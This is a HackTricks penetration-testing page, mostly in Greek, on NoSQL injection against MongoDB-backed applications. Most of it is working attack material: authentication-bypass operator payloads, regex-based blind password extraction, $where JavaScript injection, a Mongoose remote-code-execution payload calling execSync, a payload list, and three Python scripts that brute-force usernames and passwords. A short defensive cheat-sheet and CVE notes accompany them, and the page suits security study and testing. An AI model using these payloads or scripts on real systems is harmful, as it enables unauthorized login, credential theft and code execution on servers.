NoSQL injection

Reading time: 10 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Εκμετάλλευση

In PHP you can send an Array changing the sent parameter from parameter=foo to parameter[arrName]=foo.

The exploits are based in adding an Operator:

bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Βασική παράκαμψη αυθεντικοποίησης

Χρησιμοποιώντας το not equal ($ne) ή το greater ($gt)

bash
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

javascript
query = { $where: `this.username == '${username}'` }

Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό εισάγοντας συμβολοσειρές όπως admin' || 'a'=='a, κάνοντάς την ερώτηση να επιστρέψει όλα τα έγγραφα ικανοποιώντας την προϋπόθεση με μια ταυτολογία ('a'=='a'). Αυτό είναι ανάλογο με τις επιθέσεις SQL injection όπου χρησιμοποιούνται είσοδοι όπως ' or 1=1-- - για να χειραγωγήσουν τις SQL ερωτήσεις. Στο MongoDB, παρόμοιες εισβολές μπορούν να γίνουν χρησιμοποιώντας εισόδους όπως ' || 1==1//, ' || 1==1%00, ή admin' || 'a'=='a.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Εξαγωγή πληροφοριών μήκους

bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Εξαγωγή πληροφοριών δεδομένων

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Arbitrary Function Execution

Χρησιμοποιώντας τον $func τελεστή της βιβλιοθήκης MongoLite (που χρησιμοποιείται από προεπιλογή) μπορεί να είναι δυνατή η εκτέλεση μιας αυθαίρετης συνάρτησης όπως σε αυτή την αναφορά.

python
"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Λάβετε πληροφορίες από διαφορετική συλλογή

Είναι δυνατόν να χρησιμοποιήσετε $lookup για να λάβετε πληροφορίες από μια διαφορετική συλλογή. Στο παρακάτω παράδειγμα, διαβάζουμε από μια διαφορετική συλλογή που ονομάζεται users και λαμβάνουμε τα αποτελέσματα όλων των καταχωρίσεων με έναν κωδικό πρόσβασης που ταιριάζει με ένα wildcard.

ΣΗΜΕΙΩΣΗ: $lookup και άλλες συναρτήσεις συγχώνευσης είναι διαθέσιμες μόνο αν χρησιμοποιήθηκε η συνάρτηση aggregate() για να εκτελέσει την αναζήτηση αντί των πιο κοινών συναρτήσεων find() ή findOne().

json
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]

Error-Based Injection

Εισάγετε throw new Error(JSON.stringify(this)) σε μια ρήτρα $where για να εξάγετε πλήρη έγγραφα μέσω σφαλμάτων JavaScript στον διακομιστή (απαιτεί την εφαρμογή να διαρρεύσει σφάλματα βάσης δεδομένων). Παράδειγμα:

json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }

Πρόσφατα CVEs & Πραγματικές Εκμεταλλεύσεις (2023-2025)

Rocket.Chat μη αυθεντικοποιημένο blind NoSQLi – CVE-2023-28359

Οι εκδόσεις ≤ 6.0.0 αποκάλυψαν τη μέθοδο Meteor listEmojiCustom που προωθούσε ένα αντικείμενο selector ελεγχόμενο από τον χρήστη απευθείας στο find(). Με την εισαγωγή τελεστών όπως {"$where":"sleep(2000)||true"} ένας μη αυθεντικοποιημένος επιτιθέμενος θα μπορούσε να δημιουργήσει ένα timing oracle και να εξάγει έγγραφα. Το σφάλμα διορθώθηκε στην έκδοση 6.0.1 με την επικύρωση του σχήματος του selector και την αφαίρεση επικίνδυνων τελεστών.

Mongoose populate().match $where RCE – CVE-2024-53900 & CVE-2025-23061

Όταν χρησιμοποιείται το populate() με την επιλογή match, το Mongoose (≤ 8.8.2) αντέγραφε το αντικείμενο αυτολεξεί πριν το στείλει στο MongoDB. Η παροχή του $where εκτελούσε επομένως JavaScript μέσα στο Node.js ακόμη και αν η JavaScript στον server ήταν απενεργοποιημένη στο MongoDB:

js
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find()
.populate({ path: 'author', match: req.query.author });   // RCE

Η πρώτη επιδιόρθωση (8.8.3) μπλόκαρε το κορυφαίο επίπεδο $where, αλλά η εμφάνιση του κάτω από το $or παρακάμπτει το φίλτρο, οδηγώντας στο CVE-2025-23061. Το ζήτημα διορθώθηκε πλήρως στην έκδοση 8.9.5, και μια νέα επιλογή σύνδεσης sanitizeFilter: true εισήχθη.

GraphQL → Mongo filter confusion

Resolvers που προωθούν το args.filter απευθείας στο collection.find() παραμένουν ευάλωτοι:

graphql
query users($f:UserFilter){
users(filter:$f){ _id email }
}

# variables
{ "f": { "$ne": {} } }

Mitigations: αναδρομικά αφαιρέστε τα κλειδιά που ξεκινούν με $, χαρτογραφήστε τους επιτρεπόμενους τελεστές ρητά ή επικυρώστε με βιβλιοθήκες σχήματος (Joi, Zod).

Defensive Cheat-Sheet (updated 2025)

  1. Αφαιρέστε ή απορρίψτε οποιοδήποτε κλειδί που ξεκινά με $ (express-mongo-sanitize, mongo-sanitize, Mongoose sanitizeFilter:true).
  2. Απενεργοποιήστε το JavaScript πλευράς διακομιστή σε αυτο-φιλοξενούμενο MongoDB (--noscripting, προεπιλογή στην v7.0+).
  3. Προτιμήστε το $expr και τους κατασκευαστές συγκέντρωσης αντί για το $where.
  4. Επικυρώστε τους τύπους δεδομένων νωρίς (Joi/Ajv) και απαγορεύστε τους πίνακες όπου αναμένονται κλίμακες για να αποφύγετε τα κόλπα [$ne].
  5. Για το GraphQL, μεταφράστε τα επιχειρήματα φίλτρου μέσω μιας λίστας επιτρεπόμενων στοιχείων; ποτέ μην διαδώσετε μη αξιόπιστα αντικείμενα.

MongoDB Payloads

List from here

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQL Script

python
import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Brute-force login usernames and passwords from POST login

Αυτό είναι ένα απλό σενάριο που θα μπορούσατε να τροποποιήσετε, αλλά τα προηγούμενα εργαλεία μπορούν επίσης να εκτελέσουν αυτή την εργασία.

python
import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]

def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Εργαλεία

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks